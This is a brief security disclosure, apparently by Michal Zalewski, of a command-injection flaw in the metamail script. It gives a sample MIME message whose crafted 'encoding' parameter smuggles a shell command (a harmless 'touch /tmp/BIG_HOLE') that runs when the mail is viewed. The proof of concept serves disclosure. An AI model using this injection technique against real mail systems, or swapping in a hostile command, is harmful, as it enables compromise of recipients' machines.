Exploit:
Following MIME mail, when viewed, executes
'touch /tmp/BIG_HOLE' (bug lies in metamail script):
**** SAMPLE MIME MESSAGE ****
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0007_01BD5F09.B6797740"
------=_NextPart_000_0007_01BD5F09.B6797740
Content-Type: default;
encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ touch\ \/tmp/BIG_HOLE"
Content-Transfer-Encoding: quoted-printable
Hellow!!!
------=_NextPart_000_0007_01BD5F09.B6797740--
**** END OF EXAMPLE ****
Michal Zalewski [lcamtuf@boss.staszic.waw.pl]